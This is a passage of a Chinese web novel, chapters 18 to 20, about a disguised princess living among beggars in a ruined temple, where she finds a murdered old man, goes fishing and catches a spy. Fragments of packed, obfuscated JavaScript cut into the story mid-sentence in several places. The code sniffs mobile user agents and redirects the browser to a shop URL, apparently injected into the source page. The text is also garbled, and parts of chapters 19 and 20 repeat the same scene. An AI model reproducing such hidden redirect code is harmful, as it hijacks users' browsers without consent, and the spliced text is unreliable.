闻歌靠在墙角,裹紧破毯,缓缓入睡。 梦中,她仿佛又看到那柄插在巨石中的神刀,金光流转。而这一次,握住刀柄的,是一只骨节分明、戴着白玉扳指的手—— 那只手,似曾相识。 18. 第 18 章 闻歌面不改色地向前指了指,脚下步子却故意拖得虚浮缓慢。 “看来……真是本王看错了。”皇叔在她身后轻叹一声,终于移开了审视的目光。 闻歌心中暗松一口气,面上仍保持着那副虚弱模样,一步一拖地“艰难”前行。直到拐过街角,彻底脱离皇叔视线范围,她才挺直腰板,脚步轻快起来。 “怎么样,我刚才演得不错吧?”闻歌拍拍肩上那袋白米,嘴角扬起得意的弧度。 小草拍着胸口,小脸还白着:“吓死我了!我真以为你饿晕了!” “若是连你都骗不过,怎能骗过那位王爷?”闻歌从怀中掏出那袋银锭,在手中掂了掂,“看,这不是轻松到手了?” “你也不提前告诉我一声!”小草嗔怪道。 “提前说了,你演得就不真了。”闻歌笑眯眯地揉了揉她乱蓬蓬的头发,“戏要真,就得连自己人都骗过。” 小草想了想,觉得有理,却又压低声音:“小哥,你胆子也太大了,连王爷都敢骗……” “我岂止敢骗王爷,”闻歌一时嘴快,“我连当今的皇——”话到嘴边猛地刹住,后背惊出一层冷汗。 “黄什么?”小草眨巴着眼。 “……黄公子都敢骗。”闻歌急中生智,“我家隔壁一户大户人家的少爷,姓黄。” “黄公子?那可比不上王爷吧?骗王爷可是要杀头的!”小草天真地问。 “自然比不上王爷,”闻歌顺着话头胡诌,“王爷仁善,那黄公子却坏得很,所以骗他更难些。”她暗自抹汗,这谎扯得前言不搭后语,好在孩子好糊弄。 “噢……”小草似懂非懂地点点头,又想起什么,“对了,我们这儿的李知府和魏县令也很坏,你敢骗他们吗?” 闻歌心中一动:“他们怎么坏了?” “专欺负老百姓呗!”小草撇撇嘴,“李知府以前就是这里的县令,听说是因为杀了那个害死安国郡主的妖怪大盗,才被皇上提拔成知府的。” 闻歌脚步微顿:“你个小丫头,怎么知道这些?” “这边的人都知道,只是不敢说罢了,怕被报复。”小草拽着她衣袖,“他们可坏了,经常纵容手下欺负人。” 闻歌沉默。李知府她只在宫中见过一面,不好断言其人品。至于魏县令,今日初见,虽被皇叔当街训斥,却也难说是否真是昏官。不过纵容官兵殴打百姓,总归不是什么好官。 “小哥,”小草忽然扯了扯她衣袖,声音低了下去,“我们去看看刚才被打的老爷爷吧?” “你认识他?” “嗯。”小草眼圈微红,“洪水来时,我爹娘都被冲走了,是下游的老爷爷把我从水沟里捞上来的……他说我像他孙女。” 闻歌心头一软:“是该去看看。你知道他住哪儿?” “知道,就在我们破庙前面那条河的下游。”小草仰头看她,犹豫道,“不过……我想给他送点米。他怪可怜的,家里人在洪灾里都没了……” 闻歌闻言,心中酸楚。这场洪水不知夺去多少性命,毁了多少家庭。也难怪百姓如此痛恨那些兴风作浪的“妖孽”——即使那“妖孽”可能是被冤枉的。 “送,当然送。”闻歌拍拍米袋,“这米本就有他一份。” 小草顿时笑开颜,拉着闻歌快步往河边走去。 老人家的住处比破庙更简陋,茅草屋顶破了几个大洞,土墙开裂,四处透风。两人还未进门,小草便欢快地喊:“爷爷!小草来看您啦!” 屋内没有回应。 小草跑进里屋,随即发出一声尖叫:“爷爷——!” 闻歌放下米袋冲进去,只见老人仰躺在床上,脖颈处一道细长刀痕,血迹已近干涸。床铺凌乱,皇叔所赠的披风和银两不翼而飞。 表面看是劫财害命。 可闻歌蹲身细看那道伤口,心头猛地一沉——伤口细且深,切面整齐,是高手所为。这手法……她太熟悉了。 “毒狼”二字闪过脑海。 可那江洋大盗“毒狼”,明明已伏法问斩,人头落地了啊。 莫非…… 闻歌不敢深想。她起身拉住哭得撕心裂肺的小草,柔声哄道:“小草乖,爷爷只是睡着了,我们先不打扰他,好吗?” “他……他没死对不对?”小草抽噎着,死死抓着老人冰冷的手。 “对,爷爷太累了,让他好好睡。”闻歌强忍心酸,轻轻掰开小草的手指,将她搂进怀里,“不哭了,小花猫哭花了脸就不好看了。” “我们早就是花猫了……”小草把脸埋在她肩头,闷声道,“小哥也是。” 闻歌苦笑。是啊,她们这些挣扎求生的人,谁不是满面尘灰烟火色?她替小草擦干眼泪,又回头看了眼那道致命伤口,心中疑云翻涌。 报官是必须的。可魏县令会认真查案吗?若此案真与“毒狼”有关,那背后牵扯的,恐怕不止是一桩命案那么简单。 当夜,破庙一角。 闻歌靠着透风的窗棂,辗转难眠。老人脖颈上那道伤口在眼前反复浮现,与记忆中卷宗里“毒狼”的作案手法重叠在一起。若真是同一人所为,那当年被斩首的“毒狼”是谁?真凶为何逍遥法外?又为何要杀一个无依无靠的老人? 思绪纷乱间,她又想起自己那柄无人能拔的“神刀”。老神仙只说有缘人自会出现,可茫茫人海,她该如何辨认?总不能见人就递刀试试吧? 正胡思乱想,窗外忽然传来细微响动。 闻歌警觉地屏住呼吸,借着月光,隐约瞥见一道黑影自窗外一闪而过。她抓起手边木棍,运力掷出! “哎呦!”一声闷哼传来。 闻歌翻身跃起追出庙外,却只找到自己掷出的木棍,以及地上掉落的一柄——桃木剑? 她捡起剑细看。剑身以雷击桃木制成,刻着驱邪符文,是道士常用的法器。谁会将这东西丢在这儿?抓鬼?莫非真有人把她当妖孽了? 闻歌撇撇嘴,将桃木剑拿回破庙,随手丢在床边。枕着火云貂柔软的皮毛,她渐渐沉入梦乡。 混沌梦境中,隐约有细碎人语在耳边萦绕。 第一个声音稚嫩:“咱们主人当乞丐了,真可怜……” 第二个声音憨厚:“我倒觉得挺好,能吃能睡,自由自在。” 第三个声音清脆:“就是!比在丞相府和皇宫里快活多了!” 第四个声音抱怨:“可咱们要跟着风餐露宿了……” 第五个声音期待:“主人什么时候带咱们升仙啊?” 第一个声音叹气:“鬼才知道。” 第二个声音笑了:“咱们不就是‘鬼’吗?怎么不知道?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992187|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 第三个声音接话:“那就是连鬼都不知道!” 第四个声音吐槽:“真是鬼话连篇。” 第五个声音窃笑:“我觉得主人才是鬼话连篇,编故事一套一套的,骗人都不眨眼。” 第一个声音疑惑:“人类怎么这么好骗?” 第二个声音问:“鬼大,你说主人还会去修仙吗?” 第一个声音沉吟:“得时常提醒提醒她。” 第三、四、五个声音齐道:“赞成!” “吵死了……”闻歌在梦中蹙眉,随手抓起枕边桃木剑在空中挥舞,“哪儿来的蚊子嗡嗡……” ——大冬天哪来的蚊子? “糟了!主人醒了!” “没有没有,她眼睛还闭着呢。” “吓死了,看她舞桃木剑,还以为要收咱们……” “话说那个张天师想干嘛?故意掉把桃木剑让主人捡到?” “得想办法毁了这破剑。” “不如想想怎么对付张天师,他从丞相府一路跟到这儿。” “瞧他那怂样,我就想揍他。” “下次定要整整他!” “嘘——小声点……” “什么鬼东西在耳边吵……”闻歌迷迷糊糊嘟囔一句,翻个身又沉沉睡去。 次日晌午,阳光透过破窗棂洒在脸上,闻歌才懒洋洋睁开眼。 “睡得真香……”她伸了个懒腰,忽然想起昨夜梦境。那些碎语太过真实,不像寻常梦话。还有那把桃木剑…… “醒啦?”小草端着一碗水过来,“你昨晚说梦话了,知道不?” 闻歌心头一跳:“我说什么了?” “听不清,就叽里咕噜的。”小草歪头看她,“小哥,你是不是想爹娘了?李婆婆说,你要是难过,就把我们当家人。” 正说着,李婆婆端了碗白米饭进来,慈祥地笑着:“孩子,先吃点东西。今天有白米饭,多亏了你带回来的米。” 闻歌接过饭碗,热腾腾的蒸汽模糊了视线。她低头扒了口饭,米香在口中化开,暖意一路蔓延到心底。 这破庙虽陋,却有烟火气,有人情味。比那冰冷皇宫、虚伪相府,不知温暖多少。 “婆婆,下午我去河边抓鱼。”闻歌笑道,“给大家加餐。” “我也去!”小草举手。 “你留在家帮婆婆晒野菜。”闻歌揉揉她脑袋,“河边滑,不安全。” 她三两口吃完饭,拎起破庙里共用的渔网往外走。路过窗边时,目光扫过那柄桃木剑,脚步微顿。 ——张天师? 若真有人从京城一路跟踪至此,那她的行踪恐怕早已暴露。这乞丐身份,还能藏多久? 阳光明媚,河面波光粼粼。闻歌站在浅滩处撒网,心思却飘得远。 老人之死,桃木剑,梦中鬼语,追踪的道士……这些碎片背后,是否藏着一条她尚未看清的线? 渔网沉入水中,荡开圈圈涟漪。 闻歌收回思绪,专注手中动作。无论前路多少迷雾,饭总要吃,路总要走。既然有人将她当作棋子,那她便在这棋盘上,走出自己的活路。 鱼儿入网的挣扎顺着网绳传来,鲜活而有力。 闻歌嘴角微扬,用力收网。 至少今晚,破庙里能有鱼汤喝了。 19. 第 19 章 腊月的寒风从破庙的每个缝隙钻进来,刮得火堆明明灭灭。闻歌靠在透风的窗棂边,望着窗外光秃秃的枝桠出神。袖中的手指无意识地摩挲着那柄桃木剑上的符文——昨夜那些似梦非梦的对话,还有窗外一闪而过的黑影,像根刺扎在她心头。 “吱呀”一声,庙门被推开。 小丫搓着冻红的手第一个进来,肩上还扛着半捆湿柴。她一眼瞥见窗边的闻歌,嘴角便撇了下去:“哟,咱们的富贵公子还坐着呢?这日头都快偏西了,您老倒是清闲。” 闻歌回过神,抬眼看她,没接话。 张婆子跟着进来,放下拾来的枯枝,拍打着身上的雪沫子——外头不知何时飘起了细雪。她斜眼瞅了瞅闻歌,话里有话:“这破庙啊,不养闲人。有人睡到日上三竿,有人就得顶风冒雪出去讨生活。” 火堆边的李婆婆正熬着一锅稀薄的菜粥,闻言直起身:“说什么呢?小哥前几日带回来的米和银子,你们都吃进肚子里了?” “那是他运气好!”张婆子一屁股坐在草垫上,“碰上个菩萨心肠的王爷。可王爷能在这儿待多久?咱们过日子得靠双手,得细水长流!” 小丫把湿柴往地上一扔,溅起几点火星:“就是!这么大个人,整日不是睡觉就是发呆,要不是我们收留,早饿死冻死在野地里了!” 破庙里的其他人陆续回来了。大李拎着两只瘦巴巴的山雀,老陈头挎着一篮冻得发黑的野菜。众人围到火堆边取暖,目光有意无意地扫过窗边的闻歌。 闻歌听着这些闲言碎语,心里却出奇地平静。这些市井的直白计较,比起皇宫里那些拐弯抹角、笑里藏刀的算计,反倒让她觉得真实。她甚至能从张婆子撇起的嘴角、小丫斜睨的眼神里,读出一丝市井百姓最朴素的公平观——在这朝不保夕的世道,谁都不容易,凭什么有人能不劳而获? 只是……她的目光再次飘向窗外。 昨夜那人究竟是谁?张天师?还是皇叔派来探她底细的?那柄桃木剑绝非偶然掉落。若真是冲着她“妖孽”的名头来的,这破庙怕是也藏不了多久了。 “下午我去抓鱼。”她忽然开口,声音不大,却让庙里静了一瞬。 小丫先是一愣,随即嗤笑出声:“就你?细皮嫩肉的公子哥,怕是连鱼叉都拿不稳吧?” 张婆子也摇头:“河水深着呢,这大冬天的,掉下去可不是闹着玩的。你还是老实呆着吧。” 蹲在角落剥豆子的小姑娘“噌”地站起来,小脸涨得通红:“你们凭什么这么说小哥!那一袋子白米,那一锭银子,不是小哥挣回来的?你们上山下河忙活三天,能挣来这么多?” “那是他运气好——”小丫梗着脖子。 “运气也是本事!”小姑娘叉着腰,像只护崽的小母鸡,“你们有本事也去王爷跟前‘运气’一个试试?” “你!”小丫气得站起来。 “够了!”李婆婆一勺子敲在锅沿上,发出“铛”的一声脆响。她转过身,花白的头发在火光中颤动,“小哥夜里总做噩梦,睡不安稳,你们不知道?这会儿倒计较起来了!是不是想赶他走?” 这话说得重了。破庙里一时寂静,只听得见柴火噼啪作响。 大李搓着手打圆场:“婆婆别动气,大家就是随口说说……”他走到闻歌身边,拍拍她的肩,“小哥,你别往心里去。你脸色不好,多歇歇。” 闻歌看着大李憨厚的脸,心头微暖。她站起身,活动了下有些僵硬的肩颈:“我睡足了。”走到墙边,抄起那柄用树枝和碎铁片绑成的鱼叉,“总得做点什么。” 张婆子和小丫交换了个眼神。 “哎哟,还真要去啊?”张婆子拖长了音调。 小丫眼珠一转,叉腰道:“你要能抓到鱼,我、我给你洗一个月衣裳!” 闻歌挑眉看她:“若我抓不到呢?” “抓不到?”小丫扬起下巴,“那你就负责给大伙拾一个月的柴火,每天不能少于三捆!” “小丫!”大李皱眉。 “好啊。”闻歌却笑了,笑容在昏黄火光里竟有几分说不清的韵味,“一言为定。” 李婆婆急急上前,一把夺过鱼叉:“别逞强!那河水深得很,冬天又冷,前年就淹死过人——” “婆婆放心。”闻歌温声安抚,重新拿回鱼叉,“我水性好得很。”这话不假。当年追剿江南水匪时,她曾在腊月潜过刺骨的寒江,一炷香时间不露头都是常事。 只是如今身份不便,不能显露太多。得想个不惹疑的法子…… “我跟你去!”小姑娘跑到闻歌身边,紧紧拽住她的衣角。 李婆婆还想拦,大李摆摆手:“让小草跟着吧,有个照应。小哥,”他认真看着闻歌,“量力而行,安全第一。” 细雪不知何时停了,天色灰蒙蒙的。闻歌和小草沿着冻硬的小路往河边走。河风刮过来,带着湿冷的水汽。 “小哥,你真会抓鱼吗?”小草仰着小脸,眼里有担忧也有好奇,“我看你细皮嫩肉的,不像干过粗活……” 闻歌失笑,伸手轻轻捏她冻得通红的鼻尖:“怎么,连你也不信我?” “疼疼疼!”小草捂着鼻子,眼睛却弯成了月牙,“我信!小哥最厉害了!” 孩子纯粹的信任让闻歌心头一软。她蹲下身,帮小草把破棉袄的领子拢紧些:“待会儿你在岸边看着,别靠水太近,知道吗?” “嗯!”小草用力点头,又问,“小哥,你以前抓过鱼吗?” 闻歌眼神有一瞬恍惚。抓过吗?自然是抓过的。不是用鱼叉,是用手——那年随师父在山中修行,师父说“万物有灵,取之有道”,不许她用刀剑,她便徒手在溪涧中抓鱼。开始时总被溜走,后来掌握了巧劲,一抓一个准。 “抓过。”她轻声道,“很久以前了。” 两人来到河边。冬日河水清冽,流速缓了下来,靠近岸边的水面结了层薄冰。闻歌观察着水纹走势——捕鱼讲究时机和位置,急流处鱼难停留,深潭处鱼藏得太深。最好是洄流湾,水流缓,食物多,鱼群爱聚集。 她沿着河岸走了一段,找到一处理想的湾口。岸边的枯芦苇在风里簌簌作响。 “小草,你去下游浅滩那儿玩,别过来。”闻歌嘱咐,“这儿冰薄,危险。” 待小草乖乖跑远,闻歌才仔细打量这处河湾。水面平静,但水下暗流涌动。她俯身贴近冰面,屏息凝神——内力缓缓灌注双耳,水下的声响渐渐清晰起来。 鱼群游动的窸窣声,水草摇曳的沙沙声,还有……一种不太对劲的沉闷响动,像是重物拖过河底。 闻歌眉头微蹙。她抬眼望向河心,那里水面泛着诡异的暗纹。 “小哥!”下游传来小草的喊声,“你看,下雪啦!” 闻歌抬头,果然见细碎的雪粒又飘了起来。她敛起心神,暂且压下疑虑。当务之急是先解决今晚的饭食。 她将鱼叉插在岸边,自己却蹲下身,右手缓缓探入刺骨的河水中。内力自掌心涌出,化作无形的涟漪向四周扩散——这是师父教的“惊鱼诀”,以柔劲震动水流,惊扰鱼群却又不伤其性命。寻常武者使不出来,但对已至化境的她而言,只是雕虫小技。 果然,不过片刻,水面开始泛起异样的波纹。几条受惊的鱼跃出水面,银鳞在灰白天色中一闪。 闻歌眼疾手快,抓起鱼叉闪电般出手! “噗”的一声轻响,鱼叉刺破水面,精准地贯穿一尾肥美的草鱼。她手腕一抖,尺把长的鱼在空中划过弧线,“啪嗒”落入岸边的草筐。 动作不停。闻歌的身影在河岸轻移,看似随意,每一步都踏在最合适的位置。鱼叉在她手中化作道道虚影,每一刺都带起水花,每一挑都收获银光。 不过盏茶功夫,草筐底已铺满白花花的鱼。草鱼、鲫鱼、鲤鱼,甚至还有两条难得的鳜鱼。 “小哥!太厉害啦!”小草在下游看得目瞪口呆,拍着手跳起来。 闻歌抹了把溅到脸上的水珠,冲她招手:“来,帮我把鱼捡进筐里!” 两人一个叉一个捡,配合默契。雪越下越大,落在河面瞬间消融,落在肩头却积起薄薄一层。 捡鱼时,闻歌状似无意地问:“小草,你觉得……世上有妖怪吗?” 小草正小心翼翼地捧起一尾鲫鱼,闻言歪头想了想:“大家都说有,那应该就有吧。” “如果……”闻歌斟酌着词句,“如果那妖怪长得不难看,心地也不坏呢?” “妖怪怎么会不坏?”小草瞪圆眼睛,“不是都说妖怪青面獠牙,专害人吗?还害死了我爹娘……”说到后面,声音低了下去,小手无意识地攥紧了衣角。 闻歌心头一紧。她放下鱼叉,蹲下身与孩子平视,认真道:“小草,你记住——有时候,人披着人皮,却做着比妖怪更恶的事;有时候,被称作妖怪的,反而守着做人的良心。看人看事,不能光听别人说,得自己用眼睛去看,用心去辨。” 小草似懂非懂,黑亮的眼睛里映着雪花:“就像小哥这样吗?” 闻歌怔住。 “虽然大家都说小哥是富贵公子,不会干活,”小草认真地说,“可我看得出来,小哥心善,对我们好。这就够啦!” 童言稚语,却像一股暖流涌进闻歌心里。她伸手将孩子揽进怀里,轻声道:“小草,谢谢你。” 雪落在她们相拥的肩头,很快化成了水。 天色渐暗时,草筐已经满得冒尖。闻歌用草绳扎紧筐口,试了试重量——少说也有四五十斤。她弯腰想扛起来,却发现这身体确实比从前娇气多了,才折腾这么一会儿,竟有些气喘。 “小哥,我帮你抬!”小草凑过来。 “不用,你帮我看路就行。”闻歌深吸一口气,将草筐扛上肩。沉甸甸的收获压得她身子一歪,但脚步还算稳当。 两人一前一后往回走。雪地上留下一串深深浅浅的脚印。 快到时,闻歌忽然停下脚步:“小草,你先跑回去报个信,就说鱼太多,让大家来帮忙。” 小草愣了愣,随即眼睛一亮:“好!让他们都看看!”说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻歌把空筐放下,抹了把脸上的汗,轻描淡写道:“运气好,碰上个鱼窝。”她目光扫过人群后的张婆子和小丫,唇角微扬,“对了,方才谁说要给我洗一个月衣裳来着?” 众人的目光齐刷刷转向小丫。 小丫的脸涨成了猪肝色,缩着脖子想往人后躲,却被眼尖的同伴推了出来。 “我、我……”她支吾着,忽然一跺脚,“洗就洗!我小丫说话算话!” 众人哄然大笑。连张婆子都忍不住“噗嗤”笑出声,随即又赶紧板起脸,嘟囔道:“得意什么,还不是运气……” “这可不是运气。”大李正色道,他走到闻歌面前,深深看了她一眼,“小哥,你有本事。先前是我们眼拙了。” 这话说得诚恳。闻歌摇头:“都是讨生活,互相帮衬罢了。” 李婆婆已经蹲在地上开始分拣鱼了,边挑边念叨:“这两条大的腌起来,留着过年……这几条今晚炖了,给大家补补……小草,去烧水!” 破庙里顿时热闹起来。刮鳞的刮鳞,烧水的烧水,连一向爱偷懒的张婆子都主动拎起两条鱼去河边清洗。火光映着一张张洋溢着喜悦的脸,连寒风似乎都没那么刺骨了。 闻歌坐在门槛上歇息,看大家忙忙碌碌。大李递过来一碗热水,她接过道谢。 “小哥,”大李在她身边坐下,压低声音,“你那一手……不像是寻常人会的。” 闻歌心头微动,面上却不动声色:“家里从前有个老仆,是渔民出身,教过我几手。” 大李点点头,没再追问,只是说:“不管怎样,你是咱们破庙的福星。” 正说着,庙里飘出了鱼汤的香气。那香气混着姜片的辛辣和野菜的清香,在寒冷的冬夜里格外诱人。 晚饭时,破庙中央架起了一口大锅。乳白色的鱼汤咕嘟咕嘟冒着泡,切成段的鱼肉在里面翻滚。每人碗里都盛得满满的,连汤带肉,热气腾腾。 小草捧着碗,小口小口地喝汤,幸福得眯起眼睛。小丫虽然还有些别扭,但也埋头吃得香甜。张婆子一边吃一边念叨“要是有点豆腐就更好了”,被李婆婆笑骂“有的吃还挑”。 闻歌捧着碗,看这一屋子人围着热汤说笑,心里涌起一股奇异的暖意。这破庙漏风,这日子艰难,可这一刻的热闹和温暖,却是她在高墙深宫里从未感受过的。 只是…… 她的目光飘向门外沉沉的夜色。 河底那声异响,还有那柄来路不明的桃木剑,都像阴影一样悬在心头。这难得的平静日子,怕是维持不了多久了。 她摸了摸袖中暗藏的短刃,冰凉的触感让她清醒几分。 ——该来的总会来。但在那之前,至少让这些苦命人吃顿饱饭,做个好梦。 “小哥,再添碗汤?”李婆婆的声音传来。 闻歌回过神,递过碗:“谢谢婆婆。” 热汤入腹,暖意从胃里一直蔓延到四肢百骸。庙外风雪渐紧,庙内火光融融。 这一夜,破庙里的每个人都做了个有鱼香的梦。 而闻歌在入睡前,隐约又听见窗棂处传来极轻的“咔哒”声,像是有人轻轻放下什么东西。 她没有睁眼,只是放在身侧的手指,悄悄握紧了那柄桃木剑。 20. 第 20 章 鱼还在雪地里“啪嗒啪嗒”地跳,银鳞映着火光,晃得人眼花。破庙前的空地上,众人围成圈,个个瞪大了眼睛,像是从未见过这么多鱼。 闻歌将鱼叉往地上一插,双手叉腰,故意拖长了调子:“让大家见笑啦——不过是些小鱼小虾。” “小鱼小虾?”大李蹲下身,拎起一条足有手臂长的草鱼,哭笑不得,“小哥,你这‘小’字用得可真谦虚。” 众人哄笑起来。李婆婆已经指挥着几个妇人开始收拾鱼获,边忙活边念叨:“这条腌起来……这条今晚炖了……哎哟这鳜鱼可难得,得好好做……” 张婆子和小丫站在庙门口,像两尊门神,脸色一阵青一阵白。 “怎么样?”小姑娘蹦蹦跳跳地跑过去,故意举起一条还在扭动的鲫鱼,凑到小丫面前,“不是说要是小哥抓到鱼,你就活吃了它吗?喏,新鲜的!” 小丫往后一躲,嘴硬道:“哼,不过是运气好罢了!” 张婆子也帮腔:“就是!哪有正常人一下午抓这么多鱼的?我看啊,肯定有古怪!” 闻歌拍拍手上的灰,慢悠悠走过去。雪光映着她沾了泥污的脸,那双眼睛却清澈得惊人。她看着两人,语气平静:“我对二位并无偏见,不知二位为何对我有这般敌意?” 张婆子被她看得有些发虚,但仍梗着脖子:“你、你肯定不是普通人!来的第一天我就觉得不对劲!” “没错!”小丫像是找到了底气,“你要是普通人家出来的,怎么会这些?定是有什么事瞒着我们!” 闻歌忽然笑了,笑声在冬夜里清亮亮的:“你们不会还在怀疑我是妖怪吧?” 两人被她直截了当地戳破心思,一时语塞。 “那我问二位,”闻歌抱起胳膊,好整以暇,“我若是妖,为何不把你们全吃了,反倒要辛辛苦苦抓鱼回来,和大家分着吃?” 张婆子支吾着答不上来。 小丫眼神闪烁,强辩道:“谁、谁知道你们妖怪怎么想的……” “你们就是嫉妒!”小姑娘脆生生地插进来,“嫉妒小哥比你们厉害,比你们能干!” “胡说!”小丫脸涨得通红,“我嫉妒他什么?一个来历不明的人……” “好啦。”闻歌摆摆手,语气缓和下来,“都是讨生活的人,何必互相为难?我只希望大家在一起,能和和气气地过日子。” 这话说得诚恳,连一旁忙碌的众人都停下了动作。大李走过来,拍拍闻歌的肩膀:“小哥说得对。咱们聚在这破庙里,都是缘分。互相帮衬着,日子才能过下去。” 张婆子和小丫见众人都站在闻歌那边,悻悻地闭了嘴,转身进了庙。 晚饭时,破庙里飘满了鱼汤的香气。大锅架在火堆上,乳白的汤咕嘟咕嘟冒着泡,鱼肉炖得酥烂,混着野菜和姜片的味道。每人碗里都盛得满满的,连汤带肉,热气蒸腾。 小丫捧着碗坐在角落,埋头吃得飞快,但眼神不时往闻歌这边瞟。张婆子一边喝汤一边嘟囔“要是有点豆腐就好了”,被李婆婆笑骂“有的吃还挑”。 闻歌坐在门槛上,慢慢喝着汤。热流顺着喉咙滑下去,暖意从胃里扩散到四肢百骸。她看着庙里这些人——大李憨厚的笑脸,李婆婆慈祥的眉眼,小姑娘满足地眯着眼,连张婆子和小丫在美食面前也暂时收起了锋芒。 这画面让她心头微动。曾几何时,她在深宫高墙内,锦衣玉食,却从未感受过这般简单直接的温暖。原来人间烟火,最暖人心。 只是…… 她的目光飘向窗外沉沉的夜色。袖中的手指无意识地摩挲着——那柄桃木剑,今晚会不会有人来取? 夜深了,破庙里鼾声四起。 闻歌躺在靠窗的草铺上,眼睛却睁着。桃木剑就放在枕边,伸手可及的位置。窗外月色晦暗,云层厚重,只有雪地的反光隐约透进来。 她没有睡。 傍晚收拾鱼时,她在草铺的缝隙里发现了一张纸条。纸是粗糙的黄草纸,字迹歪歪扭扭,只有四个字: 今晚有贼。 没有落款,不知是谁放的。但闻歌宁可信其有。她将被子卷成个人形塞进被窝,自己则隐在窗边的阴影里,屏息等待。 子时三刻,窗棂传来极轻的“咔哒”声。 一只戴着黑色手套的手悄无声息地探进来,五指张开,精准地抓向枕边的桃木剑—— 就在剑柄即将被握住的瞬间,闻歌动了。 她像一片没有重量的叶子,从阴影中飘然而出,右脚凌空侧踢,直取对方手腕! “哎呦!” 那人猝不及防,手腕被踢个正着,桃木剑脱手飞出。闻歌左手一捞接住剑,右手成爪,直取对方咽喉! 黑衣人反应极快,就地一滚避开这一抓,翻身就要跃窗而逃。 “想跑?”闻歌冷笑,身形如鬼魅般追上,一把抓住对方后领,用力往下一拽! “砰!” 黑衣人重重摔在地上,激起一片尘土。闻歌膝盖顶住他后背,左手扣住他脖颈,右手桃木剑已经抵在他喉间。 整套动作行云流水,不过呼吸之间。 月色恰好从云缝中漏出一缕,照亮了黑衣人半张脸——是个四十来岁的男子,面皮白净,下颌留着短须,此刻因疼痛而扭曲。 “说,”闻歌压低声音,剑尖又往前送了半分,“谁派你来的?” 黑衣人被她掐得喘不过气,双手徒劳地掰着她的手指。 闻歌稍松力道。 “我、我只是来取回我的剑……”黑衣人喘着粗气,声音嘶哑。 “上次趴我窗边,也是你?”闻歌眼神锐利,“想干什么?” “郡主,我是……” “郡主”二字入耳,闻歌心头猛地一紧。手上力道不自觉地加重,黑衣人又一阵窒息。 就在此时,庙里传来响动。 “什么声音?” “好像有贼!” “快起来!抓贼啊!” 破庙瞬间喧闹起来。脚步声杂乱,有人点亮了油灯,火光从门缝透出来。 闻歌暗叫不好。她凑近黑衣人耳边,声音压得极低:“谁派你来的?说!” 黑衣人咬牙:“皇、皇后……” “来干什么?” “抓、抓鬼……” “放屁!”闻歌手上又加力,“说实话!” “真的!皇后说这里有妖气,派我来探查……”黑衣人艰难地说,“我只是个跑腿的,郡主饶命……” 脚步声越来越近。 闻歌心念急转。若被众人看见她这样制住一个人,身份必然暴露。但若放走这人,皇后那边…… “滚!”她终于松手,顺势一脚将黑衣人踹向窗外,“再敢来,打断你的腿!” 黑衣人如蒙大赦,连滚带爬地翻窗逃走,很快消失在夜色中。 闻歌迅速整理好衣襟,将桃木剑塞回枕下,刚做完这些,庙门“吱呀”一声被推开。 大李举着油灯第一个冲出来,后面跟着李婆婆、老陈头,连张婆子和小丫也揉着眼睛跟出来。众人手里拿着五花八门的“武器”——木棍、锄头、鱼叉,甚至还有一把破扫帚。 “小哥!你没事吧?”大李紧张地问。 “没事。”闻歌故作镇定地拍拍身上的灰,“刚才有个小贼,已经跑了。” “小贼?偷什么的?”李婆婆上下打量她。 闻歌脑子飞快转动:“偷鱼的。估计是闻到咱们晚上的鱼汤香了。” 这理由勉强说得通。众人松了口气,纷纷放下“武器”。 “这世道,连鱼都有人偷……”老陈头摇头叹气。 “就该抓住他,送官府!”有人愤愤道。 “算了,”闻歌摆摆手,“我看他也怪可怜的,说是家里老小没饭吃,才动了歪念。” 众人唏嘘不已,正要散去,小丫忽然开口: “等等。” 她走到闻歌面前,眼神狐疑:“我刚才好像听见……有人说了‘郡主’‘皇后’‘抓鬼’什么的?” 破庙前瞬间安静下来。 所有人的目光都投向闻歌。 闻歌心头一沉,面上却不动声色:“你听错了吧?哪有什么郡主皇后?” “我没听错!”小丫挺起胸膛,“你就是在和那个人说这些!我还听见你说‘放屁’!” 张婆子也凑过来:“我也觉得奇怪。小哥,你到底是什么人?为什么总有人半夜来找你?” 气氛一下子紧张起来。 闻歌环视众人。大李皱着眉,李婆婆一脸担忧,其他人眼神里也满是疑惑。她深吸一口气,忽然笑了: “小丫,你既然听见了,那我问你——除了你,还有谁听见了?” 众人面面相觑,纷纷摇头。 “我睡得沉,没听见……” “我也是……” “我就听见喊抓贼……” 闻歌心里有了底,语气更从容了:“既然只有你一人听见,那可能是你做梦,或是听岔了。”她顿了顿,故意提高声音,“至于什么‘郡主’‘皇后’——诸位想想,我若真是那种身份,会沦落到这破庙里,和大家一起吃野菜睡草铺吗?” 这话说得在理。众人纷纷点头。 “小丫,”李婆婆开口了,语气带着责备,“做人要厚道。小哥对咱们怎么样,大家都看在眼里。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992189|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能因为一些捕风捉影的事,就胡乱猜疑。” 大李也道:“就是。有什么话当面说清楚,别总藏着掖着,伤和气。” “我相信小哥!”小姑娘跑到闻歌身边,紧紧抓住她的手。 “我也信!” “小哥不是坏人!” “他要是有问题,早对咱们下手了!” 众人你一言我一语,都站在闻歌这边。 